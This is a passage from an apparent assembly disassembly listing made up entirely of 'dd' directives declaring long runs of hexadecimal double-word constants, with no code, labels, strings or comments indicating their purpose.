		dd 7E32A7DFh, 0E7A3014Fh, 93F511FDh, 0EDD6AED4h, 30CC00BAh
		dd 0A9A4A04Fh, 530340C2h, 0ACDBD46Ch, 0EC28869Dh, 3501D678h
		dd 34E3E50Dh, 233D9219h, 0B4274660h, 0BD57F4D5h, 7BDBE9D2h
		dd 8686B82Fh, 6A47BFA6h, 0A7E75AE0h, 8F11B4C0h,	497CEA29h
		dd 7480B19Ch, 0FDB3429Bh, 77FD3148h, 0DECB5A5Eh, 96AA20D5h
		dd 0D8155F1h, 74BD92BFh, 9B7402C8h, 0D53AAF2Eh,	114149Bh
		dd 0CABA064Bh, 73FC2342h, 349CDE4Dh, 332FA0Dh, 38FC3BF8h
		dd 0FB90E2CAh, 0BDC4BE1Fh, 6BF01392h, 6A3B0384h, 67CDFBh
		dd 0D9E90C99h, 0B69CE36h, 44D515C5h, 29CB01BFh,	0B7752FDEh
		dd 0CC83401Ch, 2EF39B2Fh, 394D7ED6h, 0C97589B8h, 64584702h
		dd 87694CA1h, 50FFC272h, 0C95AD044h, 9C4B06CEh,	99015BE2h
		dd 93BBB5E1h, 0E528BEEDh, 0D35ECDB2h, 7D3635A0h, 0B2B8CD03h
		dd 0B6A1FBCEh, 8C67B830h
		dd 8D550ED4h, 2AAE6CC4h, 9FCA824Eh, 0CE55037Ah,	59668F9Eh
		dd 0AFD28B66h, 9ACF91C5h, 0A4AB4F09h, 0D69F2Fh,	5245784Ch
		dd 4A03EB91h, 30D124E9h, 0EA773FB7h, 4DE4B148h,	0C41B437Ah
		dd 5A935DEEh, 0EBBC35A7h, 2B477CDAh, 0AA63D02Fh, 0CD2CFAA7h
		dd 2CE22E93h, 0CDB426D1h, 0D4693A8Fh, 96B7F20h,	8EBFC15Bh
		dd 0FA08B537h, 8B055208h, 3526E21Eh, 0B82CC04Bh, 6EE71590h
		dd 408BAC3Bh, 0A47147A0h, 0AF1273A3h, 0BC653A89h, 828BA158h
		dd 0AEEA1755h, 8455C86Eh, 0F1DE33B3h, 0F34B1E6Fh, 9516312Dh
		dd 81F78B0Ch, 0B8DE4B19h, 0A673AABCh, 6411630Bh, 0D341E623h
		dd 0BF3473CFh, 7997CA98h, 9CE62F5Bh, 7651F094h,	0C25C7ED1h
		dd 0C1A31769h, 0F6B25AC5h, 0BD421EAFh, 9033F59Bh, 3A6FF3C2h
		dd 9A8CD257h, 0ADCFDF53h, 0B1A5523Dh, 0CC2A8C3Fh, 1802456Dh
		dd 0D7BEE6B2h, 4F9E0A0Ah, 0D6197A93h, 0DD25493Dh, 0A4997262h
		dd 1B2526EFh, 8B365EBBh, 0C53F80A5h, 5928662Ch,	319C621Fh
		dd 0A2EA089Bh, 0D6D029C2h, 4B336171h, 641B773Ch, 2C583017h
		dd 3CB8AF39h, 6D7A2C9Eh, 8ED08DDEh, 7CCB8389h, 68ED0CA7h
		dd 0BCB82E9Bh, 8D96A808h, 0F2EAB429h, 0D3D991D8h, 0DF9DD89Ch
		dd 0F11EEE63h, 74B5EFEAh, 6721D0A1h, 0C0EB9613h, 0B22E96FFh
		dd 6FEE1493h, 0FF68C674h, 5D25A82Ah, 7CF28DBh, 99B852B0h
		dd 3FDAE30Bh, 0E1BE0EACh, 0AA31A31Ah, 0F9E4B335h, 1EC86C07h
		dd 9815A99Ah, 3F159557h, 276B51D4h, 1870D598h, 0E362DD87h
		dd 2FD7803Bh, 9B933E88h, 886AB8F2h, 0D35BA66Ch,	74F7745Ah
		dd 0AB34D7D7h, 0A73DF000h, 472AACF5h, 0EED8A69h, 1E1179EFh
		dd 4A0D57AFh, 28D84FB7h, 4CE589h, 790A6441h, 0D7945EEDh
		dd 0AAA4B1D9h, 3853DF88h, 33B66FF7h, 0B464C9Eh,	2470DEE6h
		dd 3949DF14h, 75185535h, 39091C3Eh, 5AB87BC5h, 15F99887h
		dd 0CB3A205Ch, 55C06F9Ch, 2B2C3BD7h, 83755AD1h,	3B10844h
		dd 0FBC9E0D5h, 0BB0D133Fh, 0A641C2FFh, 0D5614E70h, 358BDCAFh
		dd 2A083056h, 0C4F63E57h, 3F8A539Fh, 0E1857AFFh, 1D4413C5h
		dd 0C2D64879h, 0D0A60971h, 0CC658B2Dh, 8978EC00h, 5FB0C879h
		dd 0D4CDE7ABh, 6BD13884h, 0B9ABBE8Ah, 0BB449F15h, 0E4CBFCF8h
		dd 0E4CE4293h, 747391F3h, 1817732Bh, 0D50F4F40h, 571EB0B4h
		dd 0C8523B66h, 5144CA1h, 1BCA6A1Bh, 697DD797h, 0CF739156h
		dd 0D3CDE723h, 0A636046Ch, 29DC7D0Bh, 3F5C601Fh, 0FD38CA59h
		dd 0B91D07D0h, 39D2BC5Eh, 7E9F96F9h, 0E4C47B00h, 4564BAD8h
		dd 0E1C7E0FFh, 59781052h, 5E8B5BB5h, 609ED790h,	7368D25h
		dd 4CA3E881h, 0B732D997h, 8D760AD0h, 0C9EB5D95h, 0BE09719Ah
		dd 0E17DD493h, 8C95E465h, 57BAB3E8h, 3A379B99h,	0D2AAFDC6h
		dd 6F53443Dh, 2C7BE2AAh, 50FF444Bh, 0E1C5EFB3h,	2E288C25h
		dd 0A3C2C507h, 11F9415Ch, 6083686Ch, 31665C71h,	8844520Dh
		dd 72351546h, 73BFCADAh, 0FAE2173Bh, 0BD1932AFh, 3128CA40h
		dd 0B225AF66h, 3680159Bh, 6F8B3857h, 0A642B160h, 0A81F8EEEh
		dd 83633534h, 4586D57h,	16AF0B88h, 3221FF03h, 0F283B761h
		dd 0AAF61344h, 601AB4Bh, 0B7D957F2h, 6403A9F1h,	2000080Ah
		dd 0AD062857h, 8245D606h, 7E4CB9ACh, 1E624867h,	0E5A1106h
		dd 89AB94C7h, 0B6F9230h, 99861200h, 0F69FA215h,	0BA62870Fh
		dd 37CAA580h, 3C9BF7FBh, 0A1DC1A07h, 59B32203h,	0FBB37510h
		dd 0D96087ADh, 2C7011F6h, 0EC30B8C5h, 20771EEBh, 689CB7E7h
		dd 0F6AD992Fh, 3F35A5ABh, 0B95EC49Bh, 514645E2h, 0B2FCDE47h
		dd 200B921Ah, 19679738h, 0A4A962FAh, 5BF2C90Ah,	58F78CEFh
		dd 8B4A044Ch, 48AEEAAFh, 6322F895h, 6CC6D2Ch, 3CB64641h
		dd 2D1D91F7h, 0C3274Eh,	0D2F2F8ABh, 34FFF0F7h, 0E6CA695h
		dd 25CE4D56h, 973692FAh, 2CBFEE54h, 0F6379633h,	5C648577h
		dd 2F2306C2h, 56F42A9Ch, 3425BCF3h, 0B3035455h,	1409D5D6h
		dd 30B73D69h, 732FCDCFh, 6185187h, 5F0B8485h, 0ACEDADh
		dd 0D6A0526Dh, 55A5AA0Eh, 0F6169067h, 2E85A4FBh, 0C3F6BB49h
		dd 7166C6A1h, 0B4CBEDD6h, 6E8560A0h, 9A9416Fh, 97D7EBF2h
		dd 0F916E7B3h, 0F83ADF9Eh, 2F6E4CAEh, 2F12F4BCh, 0D0D77EA4h
		dd 0C4AD3045h, 82EA5AACh, 1DB0B552h, 0D874C442h, 9F8D64FFh
		dd 0F9B7B73Dh, 0D1048497h, 0B30B85E6h, 8EE21B1Eh, 0D3FC411Ch
		dd 0C9CAAF73h, 3C320300h, 0D5F6EDF6h, 0CCE7B62Fh, 96EC7ECDh
		dd 50B0C5A8h, 1345173Eh, 0B96E49D6h, 0EA68009Ah, 288DCF9Dh
		dd 581020Dh, 57CAC018h,	0A90BE537h, 358BE85h, 4393A727h
		dd 15DC9C75h, 0F8752D51h, 1DEAA91Eh, 9CD47AFCh,	1792BFA5h
		dd 0DFAEB839h, 296E5690h, 439FDBFCh, 9732E986h,	4339974Ah
		dd 38590Dh, 9D351D3Eh, 8E8098Fh, 0C2219D42h, 270654B7h
		dd 622DA556h, 0EECD7C9h, 4B0841A1h, 9469F285h, 23D8EE9h
		dd 8660EDBAh, 0F51F96CCh, 87441F0h, 2A76FF6Ah, 53B9E98h
		dd 0A142AEF2h, 18A9E8BAh, 4E15CC95h, 6A2B30B1h,	98D8ACAEh
		dd 0A9F56407h, 0C10F2570h, 7AD15387h, 0FD730BF3h, 62E1B01Ch
		dd 0AFFB05FAh, 134E6F5Bh, 18E25741h, 0C19DF033h, 0CC94374Fh
		dd 0CE165D20h, 0DF0473A2h, 45FEA0B4h, 0BF69424h, 0E8BF9CB8h
		dd 9DA6F4E5h, 47D3F460h, 0D207FE8Dh, 5B7E2D1h, 0C2342A27h
		dd 37B9B50Bh, 47801D7Dh, 90F301E5h, 0C0F30059h,	0AE41B2EBh
		dd 0DB41DD5h, 0E3765846h, 0F36F20CBh, 0C1E1A236h, 50CCE909h
		dd 0CDE20778h, 37AA4B44h, 3925B19Ah, 790BC7BDh,	0B0A6B912h
		dd 7BCBA897h, 0AF25936Dh, 0FA1FC70Dh, 73E32E99h, 0A52BC92Ch
		dd 45DEAB41h, 176877EFh, 52FE4DC9h, 68826341h, 995FA69Dh
		dd 8C428AAEh, 8FDD90DFh, 2493C846h, 0DE6DCA5Ah,	0B44822F2h
		dd 0AC98BE9Eh, 4CAB78F4h, 0BC637726h, 0FCE5EFD9h, 0D30B937h
		dd 1318B97Ah, 9858E06Bh, 0D52AA97Dh, 96A6B325h,	28AA7E91h
		dd 48CAAB2Dh, 35C9912Dh, 318B5E1Eh, 2AF3EE55h, 0DD18480Ah
		dd 699B78B3h, 0FB0E99F7h, 0D728E8D6h, 0CF89AE71h, 5D958C43h
		dd 0BE52C4B4h, 1D806EB3h, 7D5BEE8Eh, 831120A8h,	0EADC583Ah
		dd 0FEE8A942h, 0C3E052D7h, 0C7FA5A74h, 0DEB19h,	0CFF86746h
		dd 47AF2228h, 0B8D61A55h, 0B9EC959Bh, 0F941002Dh, 4621C454h
		dd 0CFEC5F90h, 6091471h, 79A0810Ch, 96012E40h, 48FFE983h
		dd 5D8F1BDCh, 12372144h, 0F3009E95h, 0DF57F370h, 1532B24Bh
		dd 29027501h, 0EE201E33h, 0A9CD8841h, 6CCD86DDh, 543344D2h
		dd 44A0DEE6h, 8A9D6CE4h, 5E35AD80h, 7BA8DA04h, 0B1BF994Fh
		dd 56326F67h, 141954E1h, 0A34DF076h, 2A8B369h, 0B5A2D7C6h
		dd 938B0981h, 156DD612h, 0C03EF152h, 62238F2h, 1F8D040Ah
		dd 31C3C29Bh, 0C87EF498h, 0F4C500DCh, 85582EF2h, 5CDCC067h
		dd 0BC1280CBh, 8B770Fh,	0F9032B16h, 136EA0D9h, 0DE7AEF5Bh
		dd 472ACB47h, 0F6A89009h, 74D1A9D0h, 0D234A4FDh, 2D75FDBh
		dd 0FF102E78h, 1B9BEB09h, 125FC950h, 8DDEA114h,	0EE29FFFFh
		dd 0F408D9DAh, 7DA66455h, 7C264D25h, 88CD1D74h,	7B35A1C2h
		dd 0E394B4B6h, 1F51E287h, 0F027244Ah, 0AA1E228Dh, 8DC88F55h
		dd 276AEC65h, 12A7821Dh, 0A7DA423Ch, 9B534454h,	67E00ED0h
		dd 0C3909901h, 0C0A8C68h, 77CD93D3h, 9CF9886h, 0DEFCDBAFh
		dd 0BB228857h, 0F008AAA0h, 8F34EA29h, 804AAF95h, 227BDBEDh
		dd 0E4E16117h, 1B20CE4Dh, 674FE177h, 3D2A5BA6h,	4B28945Dh
		dd 3BE61209h, 442DE5F7h
		dd 5AB687D9h, 856C7DEEh, 7C535A66h, 10A34ECDh, 0A1E13727h
		dd 4AFF9EF2h, 53C2E4C4h, 9D13CD9Bh, 12298751h, 18E2057Bh
		dd 0D9275289h, 0E0947EB3h, 0D70CE6A9h, 0EBA5C4ACh, 0A97DF990h
		dd 0A2823C2Ch, 55E6050Dh, 3C8CD28h, 0F1B8D92Bh,	35A3EC33h
		dd 0AD627659h, 18F468BBh, 71B8FF1Dh, 5AB6867Ah,	38611372h
		dd 193D4A21h, 2171085Dh, 22E699EAh, 63EEDDEBh, 0EBE58146h
		dd 5D152097h, 8F2047E4h, 86B15535h, 6228B89Ah, 0F6613AE2h
		dd 77F8EE2h, 96F60F41h,	8F03D0EEh, 3918AEDh, 24099203h
		dd 0B66BC329h, 6D3078D1h, 4BC7B13Ch, 6B135A47h,	0DA5C0011h
		dd 0D8AFBDC2h, 3F407BCh, 84C99B5Eh, 0F7AB663Bh,	8C083340h
		dd 0B9F7D61Ah, 0A7FDDF19h, 5DFD041Eh, 0E1338330h, 98A6DC5Eh
		dd 0F1559789h, 32234576h, 0A86BA105h, 0BE930364h, 0D2603B68h
		dd 0E8541CA5h, 5B08B12Dh, 83BEEBF1h, 8FBB7646h,	0B2E0561Eh
		dd 0D78F0E69h, 72230BE5h, 284A2B76h, 0D749129Ah, 61A681B0h
		dd 9C1AAFC2h, 1DCEFED0h, 827B7EA8h, 37E467FCh, 2E4A24E8h
		dd 0D59BD888h, 0ABE5C1BDh, 30DDAC43h, 0AAAE2B58h, 0B18FF975h
		dd 0B07C8C48h, 73169BF2h, 0A4C5F97h, 782D28B5h,	49E5E990h
		dd 10F615B4h, 4E006453h, 59CD6D8Fh, 89BED0C9h, 0EB595AE7h
		dd 442D0036h, 0BE1E581Ch, 94CAF5E6h, 58803FB3h,	0DDD65274h
		dd 226D63E7h, 75758353h, 9CEC1832h, 0D5E2D504h,	5A93568Dh
		dd 0C318E2B4h, 0C54DC205h, 0BC099519h, 11554A18h, 0AFC9C0C8h
		dd 0CA0E074Dh, 3E92EFEh, 7451CDC7h, 0A51FEF3Bh,	0D56B3E56h
		dd 0A3972D8h, 0C59422A3h, 0DA9862AAh, 593A35B0h, 1925487Ch
		dd 0AE83CE59h, 0E078E84h, 0D6C5FE8Fh, 0BD59B684h, 682F6064h
		dd 53D1E64h, 0CE0A8E74h, 5873B932h, 0D7724263h,	831A8B61h
		dd 0F2704E09h, 0B7739846h, 0D5C6DABDh, 11C8F75Eh, 59BA4EC3h
		dd 0AB127056h, 1CBDBB66h, 0AD3D828Eh, 90DFE7A6h, 0EBEC7ADEh
		dd 53CF5E29h, 20F960A8h, 28C57241h, 2A6309DDh, 8B6653Bh
		dd 0C0577CCEh, 0C4646ABDh, 67748D0h, 6278A05Dh,	0E1477B0h
		dd 0DB057E74h, 1C826253h, 22628D5Ah, 0BE817DB2h, 8A983087h
		dd 0CD62A00Bh, 19F87D9Fh, 7567BF80h, 691FBC6Eh,	0CE07E021h
		dd 63AF972Eh, 8242D473h, 0CACF2561h, 215B7F55h,	0EDCB9F68h
		dd 9E5739A0h, 5CA903A4h, 0DB770546h, 3A770B0Fh,	80113496h
		dd 0E7521CEh, 6D3E182Ah, 0F596C47Ah, 0DA2FA55h,	0D56FF56Bh
		dd 36A28389h, 0B74C0518h, 0D3624B10h, 3932C88Fh, 5701040Ch
		dd 2AB4A4C1h, 0AE72B908h, 66DC2364h, 627298C2h,	0BAFE367Fh
		dd 3090C8C9h, 0F4C701EAh, 66606E8Dh, 0E2369123h, 2C37C9Eh
		dd 0EFD0D1BDh, 9F999B65h, 0DD700902h, 3159D90Dh, 8178B003h
		dd 755B2B7h, 999614CEh,	8FF57905h, 0A8933E81h, 86ECF12Bh
		dd 7DDD0421h, 1B4C9F90h, 2B739E18h, 0E3EC694Ch,	0D0EDD9C3h
		dd 6CCA915h, 754BBF77h,	0FFF13B01h, 0F388C001h,	99FA5AA5h
		dd 0E48BE312h, 461A38CDh, 235C1266h, 0C97D4CD9h, 4E7DA0E0h
		dd 231A52ABh, 384E0FACh, 9B5B53EDh, 1A2AB227h, 82E5BAEAh
		dd 0F7132675h, 69C14A5Dh, 0B871966Ch, 6FCE203Bh, 92805E84h
		dd 0DF667F86h, 8067F215h, 9BF64E83h, 42186C18h,	80AF62E2h
		dd 0B952D39Dh, 976ECAEFh, 8F401E7Dh, 99972A91h,	0DF2024C3h
		dd 2B4A98A5h, 73689A44h, 7D066A76h, 0AAFA2C2Ch,	3FACDC39h
		dd 0A200C57Ch, 2417E985h, 2AD786AFh, 9108CD8Ah,	9F66F0E4h
		dd 0DD95582Dh, 0D556AAE6h, 0DA1F2D91h, 0B32C04E5h, 0DC24163Fh
		dd 0FC1E7019h, 0F1905E40h, 555EE724h, 0A28DF3B7h, 64D7EEB6h
		dd 0BC647DAEh, 0E5F44573h, 65774E0h, 0C1B599E8h, 8096E9F8h
		dd 0A5D89702h, 1B947CBFh, 88A41A5Ah, 623C5E11h,	0E27DF7B4h
		dd 0F46DA7ADh, 0AC8B97C9h, 7B50319Bh, 0C3AD969Dh, 0FD527D9Dh
		dd 92DDEB1Eh, 0CF30552Ch, 46B86BFCh, 3853777Ch,	0D287EE87h
		dd 63D8D1F6h, 0AD2BBA05h, 0E40D1A84h, 0E9A03560h, 0C08B5AADh
		dd 0DD30E3BEh, 9AC7072h, 2211C2BCh, 1A693EC5h, 0DCDE5594h
		dd 9D83B02h, 0F4239D33h, 0B9EFAC04h, 0F60A803h,	691925A4h
		dd 0F96CA9B5h, 0EC58C232h, 713492D9h, 69767224h, 9E28233Ah
		dd 4CD06EDBh, 0C65B609Bh, 0CF792C3Eh, 9C523B7Ah, 3DD44465h
		dd 210BE33Fh, 0E18D2C53h, 0A090F6A7h, 283E9D28h, 3C2F1E77h
		dd 0A8A2A021h, 0AA42E020h, 0EB669ED9h, 77CFA3BAh, 4B938DEh
		dd 718FCA81h, 66203B82h, 7FAA38Eh, 928BDFC5h, 1609B2D5h
		dd 0FC13F0CBh, 7541657Eh, 4AAD6086h, 8FA7BAA7h,	3532BCAFh
		dd 481F3B87h, 3C7BEBC4h, 1264A998h, 99175A68h, 0F08A7C69h
		dd 32BA14ACh, 0F9647ADEh, 0B97189D7h, 0D1B36062h, 5EB4F70Eh
		dd 0A591AAC4h, 0A4C34663h, 48AE0CA1h, 0C8F860DFh, 529BF576h
		dd 0EBB98BDCh, 0E6ECA3F0h, 0C2FF1B0Ch, 9EE2F19Ah, 5B0E549Ch
		dd 1ADDCB29h, 4F8491A1h, 0CB2CE972h, 6F42E0FBh,	0B8AE6121h
		dd 11D6A316h, 8EAA24AFh, 0B8116BF1h, 0BFD9EE09h, 5ABAEB9h
		dd 0F69518A5h, 8FE886h,	47811970h, 0DCDD8D2Ch, 0CE2A6F74h
		dd 644D8429h, 956D2E9Ah, 76F6801h, 52FD219h, 38C0304Ah
		dd 7BE31D8h, 821E996Ah,	822CC302h, 0D3737809h, 0F5AB3B85h
		dd 4E9F4070h, 72C54417h, 1B59A7FDh, 3BBB9933h, 80A1DD92h
		dd 57C612E2h, 0E9361689h, 0B666A98Bh, 0B273F926h, 0A9847395h
		dd 2F85742Dh, 0E89FB257h, 0FEAB71BCh, 660F96CAh, 30BAF22Dh
		dd 0F2B21B1Fh, 50918310h, 39F30B81h, 0FC3EC4BFh, 4BFF2230h
		dd 58184087h, 0C19C9295h, 0EC494772h, 39DFFF87h, 0A0DF6632h
		dd 29FF6F5Bh, 0F63EFFDEh, 0A9503F44h, 7ECC89B6h, 0FFA9CC85h
		dd 0CE9FB8DCh, 0D6931293h, 6A300E10h, 30C30DB3h, 0B0F730F8h
		dd 1A4EF6D3h, 3A3C59ABh, 55BF63A4h, 3996C051h, 53F3EBD4h
		dd 9F04B85Bh, 0D5B4CF50h, 0E45C2432h, 3A586DF2h, 0D0C6DC36h
		dd 8282BFAFh, 0D3A636CEh, 7EEA3233h, 72E63F20h,	0BB481170h
		dd 0F1986ADh, 8E526E64h, 0B3840272h, 717639F3h,	2378F2C4h
		dd 0E37ED227h, 36883D6Ch, 0F9D3E651h, 31D10EDEh, 6477E9B5h
		dd 0FB225662h, 220CA6C5h, 18A59BE3h, 0A7B6D8F0h, 63F01380h
		dd 7841AB59h, 487366A4h, 0E8A22254h, 270216CBh,	0CFE32034h
		dd 2C1C341Fh, 74F9E849h, 0EDBF9EFFh, 2B979C78h,	441ABDE6h
		dd 76B80EDh, 66FC7198h,	18B3B01h, 719E4BAEh, 0FC9592DFh
		dd 0BE142A77h, 2D0D0706h, 55056568h, 0CFDBEC15h, 9E67E7B3h
		dd 0B51B0D24h, 53169E88h, 0E1E01747h, 6BE31132h, 116DEEABh
		dd 0FE0E90F2h, 167A52BCh, 0FAD2A5A3h, 9C96C17h,	859F39D7h
		dd 6A294105h, 0D1AA5481h, 234F088h, 8DF91D86h, 217D2E1Fh
		dd 7DB0B5BCh, 633BE227h, 0C540AAF2h, 6E7A5D45h,	256FA61Eh
		dd 10629F62h, 0D8EE737Dh, 402AFBC6h, 0D24019B7h, 0CE859EDBh
		dd 0A888D6F9h, 7A081306h, 0A632CE75h, 0A789BA1Ch, 113E9105h
		dd 97C89F18h, 63B95E55h, 0B889BF6Fh, 74F0C88Fh,	7798843Fh
		dd 652840F8h, 0B70C0727h, 0FEDB4144h, 7B68E2A4h, 0AD30795Eh
		dd 5DA0376h, 0FC712A91h, 567F0C5Eh, 0B749BA0Bh,	18C11F1h
		dd 0AF1ABA30h, 300C0FBDh, 0C58A9513h, 80030E2Dh, 35E25B7Bh
		dd 59E7C5CBh, 732114D4h, 67BBE338h, 9F713B66h, 0CD9EA0F5h
		dd 1105B2B3h, 0B7FD8537h, 0C399C6F0h, 0B828C9F7h, 0CD5B008Eh
		dd 3640B9D0h, 256EB6DBh, 45F23DD5h, 0A0492C90h,	0D436A14Ah
		dd 0AC8CF3B7h, 0A110CB61h
		dd 0B053A50Ch, 0B5C78063h, 0F8570D44h, 0F6B145CCh, 0DC55F2C4h
		dd 0E81E856Bh, 256AC45Ch, 0D88BB736h, 18D2C1C4h, 8F8189A0h
		dd 1083F0AAh, 1C012337h, 6EE966ECh, 48B08BA5h, 0F555FC1Fh
		dd 5529EAF1h, 19A7F5B1h, 4D06DE9Dh, 573A7562h, 992A4EAh
		dd 0BF79F415h, 0DD29A119h, 3AF42506h, 9222B333h, 0B3DC509h
		dd 0A711B091h, 496563B6h, 22699ACBh, 98714E31h,	4B4CECB0h
		dd 0B9CCB5B0h, 0E340E0B8h, 7522C94Ah, 0B8769E5Ah, 907CE922h
		dd 14AC0454h, 569C9A59h, 0EECC103Ah, 0A55BBBE8h, 0CA9CE609h
		dd 2676B142h, 549BB8B9h, 0A2CFF572h, 8DCD1EDFh,	4960FC0Eh
		dd 64020DB4h, 2664F39Ah, 6FBC0BBFh, 9AF6BCB0h, 0CBAD80F8h
		dd 37BFF5E1h, 6714C7BCh, 0A4A1CDCFh, 2F12370h, 0AE49A324h
		dd 387E4DB1h, 287D2452h, 0BDFAFD3Ah, 0B03BFA51h, 6EC008AAh
		dd 0C5855FFFh, 1E12CED5h, 3D0B5FFh, 0D7E3429Ch,	6D13A40Eh
		dd 95F26E4Fh, 1B94923Eh, 688D19F8h, 7D774DA4h, 0AB1416AAh
		dd 0C62C0E2Bh, 0ADB9C933h, 77A96440h, 31A7479Fh, 5B69B531h
		dd 9CB86C7Bh, 8460D4EAh, 0AA1D6728h, 0BA1A5512h, 54535194h
		dd 5FA39A60h, 57B1649Ch, 0EE8BD694h, 9BFB0715h,	99FE3D21h
		dd 2DB7EEB7h, 7E8A3A4Ah, 11421744h, 0DC7D9E3Ch,	0E64E3563h
		dd 413627B8h, 8DFD8A2h,	4FABFF66h, 7167D7h, 62050C01h
		dd 70299255h, 0CC6BD066h, 481C32F7h, 0BC88FF71h, 0EFB98827h
		dd 6DF0B0B8h, 70130A6h,	1D45F950h, 764798C5h, 31871DA6h
		dd 0AA78F849h, 0DE790B0Ah, 91C4006Ch, 3EE235B4h, 0DF389593h
		dd 0E9F6E95Ah, 9E3C361Ah, 1A9A823Fh, 0FEA9D6DFh, 8A979F58h
		dd 93BC4F8Ah, 88ADD068h, 796F8DDFh, 293557BAh, 97A75BEEh
		dd 64FCE562h, 0D5D40483h, 0F705E2A4h, 0AF5BB6CCh, 0B2791D7Fh
		dd 33FC57D8h, 3977FAA0h, 13F02542h, 4DCBB694h, 0ACF889DBh
		dd 5AD16B0Ah, 6EB60F99h, 55D8586Fh, 19E3A47Bh, 0EDB6EC31h
		dd 0E656FD53h, 5E1E0B21h, 0AF8A40ADh, 2ACCBBA9h, 6355E23h
		dd 0F75B6C7Fh, 92CF789Dh, 4A31B22Ah, 58EEA136h,	0A154D980h
		dd 0B8C62817h, 409F528Ch, 0B4A7B74Eh, 77EFCDABh, 9113FC87h
		dd 9DCA27B8h, 45E4F8Dh,	0C4F26B34h, 0BF919C1Ch,	2668AB8Fh
		dd 91710670h, 0D86FAC51h, 0E12C2CD7h, 89AC18C4h, 0FE81B9C9h
		dd 0A2B684F8h, 8A076A45h, 0E63116Fh, 8B5A4694h,	66BCD810h
		dd 825987CAh, 201F555Ch, 0B6654A69h, 0A73CED08h, 9800D26Dh
		dd 0BB32AE20h, 2197CEFBh, 13F69B09h, 0BA6E1665h, 0F21E76DAh
		dd 39A76A11h, 4261C08Ch, 0F6393FF7h, 0FF7AE70Ah, 5F27B287h
		dd 398777E0h, 898FF8BAh, 0FABFFC4Ah, 0DBB70EF6h, 0F14E49C5h
		dd 844288ECh, 0DBC34345h, 0BD2E8A8Ah, 0D7E923FFh, 0D4FBCEA8h
		dd 0A1AA4F59h, 6565105Bh, 0A184860Ch, 0E42D0F3Dh, 2F3257A7h
		dd 7D576B55h, 0D3CA7C28h, 5362EBC6h, 0A466A8B2h, 21D77E36h
		dd 0D18D9EBDh, 93E0C2E6h, 0AFE5F6F1h, 176F3375h, 0E2896577h
		dd 0CE3B6370h, 3B341D9Ch, 17C4B2F5h, 6BA6EC42h,	0E062190Dh
		dd 0E2E157C5h, 0F95D0F85h, 8B25ED9Ah, 377A2407h, 73FFC4F3h
		dd 670D741Dh, 1CABAB0Bh, 0E7F054D8h, 377504FAh,	9FFCFF15h
		dd 9AF11C7Ch, 474A00C3h, 0D232F2AEh, 0F7555B4Fh, 0E8C815C4h
		dd 6A1529BEh, 5E106B91h, 0B2CD2A8Eh, 0F504FA09h, 6E828AF2h
		dd 80EBE936h, 43719C11h, 492328A3h, 98BF49FEh, 629449DBh
		dd 318D65EEh, 5A578C87h, 0A1DA3E14h, 0E1BEBF76h, 0DEE38DF9h
		dd 0BE74CB7Bh, 0FA39D2F4h, 985F7DFBh, 4CEB8834h, 888288DEh
		dd 37AFC281h, 13D8461Ah, 27002631h, 7CD9B65h, 90223DB6h
		dd 14CC9F8Ch, 0FFD54928h, 5A4E44Ah, 93CA7FEDh, 1437C9A4h
		dd 0C9023D9Ah, 7FB6CAE4h, 9CD432B3h, 0AFDA6B90h, 0BD6B980Dh
		dd 0FD9ABE00h, 0BD92F72Ah, 0F35A7EEh, 67406662h, 747F486Ch
		dd 6818D8F4h, 9B386E92h, 0C483ED8h, 0CA0542D1h,	847520F0h
		dd 0ACE3E967h, 0DAD5430Ch, 1FBA7A01h, 0C4993233h, 36661525h
		dd 983260A1h, 0BE28E4D9h, 6FD84F7Eh, 0DE8AE81h,	91902667h
		dd 0AD9FD2Dh, 4A7284C2h, 9989DA16h, 44BE0F99h, 3F8B2BEEh
		dd 0D6DCF1A9h, 0B20E530Ah, 228C794Fh, 2225D16Bh, 0FE1F6088h
		dd 0B9679871h, 60561931h, 33DE27Ah, 7B8D98A1h, 0E49EB936h
		dd 0C30D1C03h, 667AB1A4h, 19B02C34h, 0AC731B28h, 5F26A99Ah
		dd 58E60E63h, 0BB72F93Bh, 525CCA88h, 127FF903h,	108266BCh
		dd 3F84D848h, 5BC17E1Eh, 7C33C28Dh, 3180C4EDh, 0E86D44ECh
		dd 0F22E2DC7h, 845122E7h, 79B0141Ch, 0F45EE330h, 0E06BC427h
		dd 5DD6EECCh, 93AEF868h, 0C71063F5h, 212A17FFh,	6DBA35C4h
		dd 489EBBC6h, 6F5BB121h, 0F1076AD9h, 0DBD15D77h, 4318C20Fh
		dd 5320BBBh, 23862F6h, 62E3EB87h, 337A4E8h, 80D22483h
		dd 7AC42D78h, 1F8222A9h, 0CE8DF03Dh, 0C0D694B1h, 9023725Ah
		dd 4F134A97h, 1FDB5BCCh, 841F73Ch, 10D1E39Eh, 0A6139F08h
		dd 0D7734351h, 66CC25D6h, 0E056BA9Ah, 0FE7DFD1Ch, 0D1BFA28Ah
		dd 95AF85DDh, 8498CFD9h, 675953B6h, 2FEA6F2Dh, 0DB5FCDFDh
		dd 980EEE3Fh, 7F9F7B2Ch, 38C73D58h, 3BFDB902h, 7D260236h
		dd 27D8201h, 93733009h,	3D56B2F4h, 0A42178BAh, 5DC26320h
		dd 0A46344F9h, 0F9059423h, 0C31839ADh, 394BD439h, 9BC36D4Eh
		dd 0E79AD90Ah, 0B6F4194Ch, 0A782DD79h, 1530CB47h, 0C0D26583h
		dd 0A9E5A870h, 1E394188h, 44178540h, 1E33B7E3h,	0F86525FDh
		dd 0EEC3ABDDh, 2282CF83h, 0D662E625h, 90BFB947h, 0AC03D063h
		dd 0E40E17BDh, 2D142A73h, 0E8E50100h, 3E008051h, 0F261A5A1h
		dd 0DFF52F0Ah, 9FD7E70Eh, 5455E0FDh, 97D319E4h,	0D5792B4Bh
		dd 3AE072F3h, 0F69D8980h, 35BF7C7Eh, 0BF5AF046h, 3A500CE0h
		dd 54A0C193h, 52674E8Eh, 0B7ED3D66h, 44E0F78Ch,	30EE09FFh
		dd 8AEC0149h, 0B5BE8FACh, 4A321FCBh, 0B2C088E1h, 0DB666C3h
		dd 0AE45418Ch, 77F17790h, 0B1898D1Eh, 0EAE0A943h, 4B195052h
		dd 6E201BAFh, 9547F074h, 4DF82364h, 0E1D9F47Ah,	0BADE7500h
		dd 9384138Ch, 741A779Fh, 36A78C6Ah, 0A99D8380h,	47EE58FCh
		dd 3AF9D4BFh, 5DEC584Ch, 90F16EFFh, 23090DB5h, 639819Dh
		dd 0E71E3F9Eh, 8F40C291h, 49752CFDh, 70B293ACh,	0E996B03Bh
		dd 41010378h, 3071A95Bh, 77B4C33Fh, 322FD94Fh, 1F484564h
